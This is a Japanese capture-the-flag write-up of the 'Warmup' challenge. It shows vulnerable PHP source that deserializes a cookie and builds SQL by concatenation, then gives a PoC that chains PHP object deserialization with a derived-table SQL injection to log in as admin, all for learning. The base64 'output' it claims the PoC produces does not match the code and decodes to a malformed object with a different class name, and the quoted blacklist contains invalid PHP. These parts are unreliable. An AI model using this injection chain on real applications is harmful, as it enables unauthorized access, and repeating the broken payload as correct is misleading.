本記事では、CTFプラットフォーム「攻防世界」の「Warmup」という問題を解説します。この問題は、PHPのデシリアライゼーションとSQLインジェクションの脆弱性を組み合わせたものです。
問題の概要
問題は、特別な情報がない入力フォームを提示します。付属のソースコードが提供されており、それを分析することでフラグを取得する必要があります。
ソースコードの分析
与えられたソースコードは以下の通りです。
index.php
<?php
include 'conn.php';
include 'flag.php';
if (isset ($_COOKIE['user_session'])) {
$user_session = unserialize (base64_decode ($_COOKIE['user_session']));
try {
if (is_array($user_session) && $user_session['ip'] != $_SERVER['REMOTE_ADDR']) {
die('WAF info: your ip status has been changed, you are dangrous.');
}
} catch(Exception $e) {
die('Error');
}
} else {
$cookie = base64_encode (serialize (array ( 'ip' => $_SERVER['REMOTE_ADDR']))) ;
setcookie ('user_session', $cookie, time () + (86400 * 30));
}
if(isset($_POST['user_name']) && isset($_POST['pass_key'])){
$db_table = 'users';
$user_name = addslashes($_POST['user_name']);
$pass_key = addslashes($_POST['pass_key']);
$db = new Database();
$db->connect();
$db->db_table = $db_table;
$db->user_name = $user_name;
$db->pass_key = $pass_key;
$db->check_login();
}
?>
conn.php
<?php
include 'flag.php';
class Database {
public $db_table = '';
public $user_name = '';
public $pass_key = '';
public $conn;
public function __construct() {
}
public function connect() {
$this->conn = new mysqli("localhost", "xxxxx", "xxxx", "xxxx");
}
public function check_login(){
$result = $this->query();
if ($result === false) {
die("database error, please check your input");
}
$row = $result->fetch_assoc();
if($row === NULL){
die("username or password incorrect!");
} else if($row['username'] === 'admin'){
$flag = file_get_contents('flag.php');
echo "welcome, admin! this is your flag -> ".$flag;
} else {
echo "welcome! but you are not admin";
}
$result->free();
}
public function query() {
$this->waf();
return $this->conn->query ("select username,password from ".$this->db_table." where username='".$this->user_name."' and password='".$this->pass_key."'");
}
public function waf(){
$blacklist = ["union", "join", "!", """, "#", "$", "%", "&", ".", "/", ":", ";", "^", "_", "`", "{", "|", "}", "<", ">", "?", "@", "[", "\", "]" , "*", "+", "-"];
foreach ($blacklist as $value) {
if(strripos($this->db_table, $value)){
die('bad hacker,go out!');
}
}
foreach ($blacklist as $value) {
if(strripos($this->user_name, $value)){
die('bad hacker,go out!');
}
}
foreach ($blacklist as $value) {
if(strripos($this->pass_key, $value)){
die('bad hacker,go out!');
}
}
}
public function __wakeup(){
if (!isset ($this->conn)) {
$this->connect();
}
if($this->db_table){
$this->waf();
}
$this->check_login();
$this->conn->close();
}
}
?>
解説
この問題の鍵は、`user_session`という名前のクッキーに格納されたデータのデシリアライゼーションです。このプロセス中に、`__wakeup()`マジックメソッドが呼び出され、`check_login()`メソッドが実行されます。
`check_login()`メソッドは、`query()`メソッドを呼び出してデータベースをクエリします。このクエリの結果、`username`フィールドの値が`admin`であればフラグが表示されます。
通常のSQLインジェクション攻撃では、データベースのテーブル名やカラム名を特定する必要がありますが、この問題ではそのような情報は与えられていません。代わりに、仮想テーブルを利用する手法が有効です。
仮想テーブルを利用した攻撃
以下のPoC(Proof of Concept)コードは、仮想テーブルを利用して`admin`ユーザーとしてログインする方法を示しています。
<?php
class Database {
public $db_table;
public $user_name;
public $pass_key;
public $conn;
}
$obj = new Database();
// 仮想テーブルを作成
$obj->db_table = "(select 'admin' username,'password123' password)a";
$obj->user_name = 'admin';
$obj->pass_key = 'password123';
echo base64_encode(serialize($obj));
?>
このコードを実行すると、以下のようなシリアライズされたオブジェクトが生成されます。
TzozOiJGYWN0b3J5IjoxNToiZGItdGFibGUiO2k6IihzZWxlY3QgJ2FkbWluJyB1c2VybmFtZSwncGFzc3dvcmQxMjMnIHBhc3N3b3JkO2k6IiRhZG1pbiI7czo0OiJ1c2VybmFtZSI7czo1OiJhZG1pbiI7czo2OiJwYXNzd29yZCI7czo3OiJjb25uIjtOO30=
この文字列を`user_session`クッキーに設定し、ページをリロードすると、`admin`として認証され、フラグが表示されます。
このSQLクエリの仕組みは以下の通りです。
select username,password from (select 'admin' username,'password123' password)a where username='admin' and password='password123'
このクエリは、一時的な仮想テーブルを作成し、その中から`admin`ユーザーを検索します。これにより、`check_login()`メソッドの条件を満たし、フラグが表示されます。